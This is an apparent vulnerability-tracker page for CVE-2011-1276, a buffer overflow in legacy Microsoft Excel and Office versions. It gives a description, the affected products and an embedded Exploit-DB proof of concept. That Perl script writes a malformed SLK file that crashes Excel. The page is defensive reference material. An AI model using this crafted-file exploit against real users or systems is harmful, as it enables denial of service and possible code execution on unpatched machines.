CVE-2011-1276

critical

Published 2011-06-16 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Buffer overflow in Microsoft Excel 2002 SP3, 2003 SP3, and 2007 SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Excel Viewer SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP2 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Excel spreadsheet, related to improper validation of record information, aka "Excel Buffer Overrun Vulnerability."

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-17643 dos windows verified text · 1 KB

webDEViL · 2011-08-09

Excel - SLYK Format Parsing Buffer Overrun (PoC)

text exploit Source: Exploit-DB

# Exploit Title: Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC
# Date: [date]
# Author: webDEViL
# Software Link: [download link if available]
# Version: [app version]
# Tested on: ALL
# CVE : CVE-2011-1276

# w3bd3vil[at]gmail[dot]com
# twitter.com/w3bd3vil

open (FILE, '>>CVE-2011-1276.slk');
print FILE "ID;P\n";
print FILE "P;PAAAA\n"x550;
print FILE "P";
close (FILE);

Application impact

Vendor	Product	Versions
microsoft	excel	`2002`
microsoft	excel	`2003`
microsoft	excel	`2007`
microsoft	excel_viewer
microsoft	office	`2004`
microsoft	office	`2008`
microsoft	office_compatibility_pack	`2007`
microsoft	open_xml_file_format_converter

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.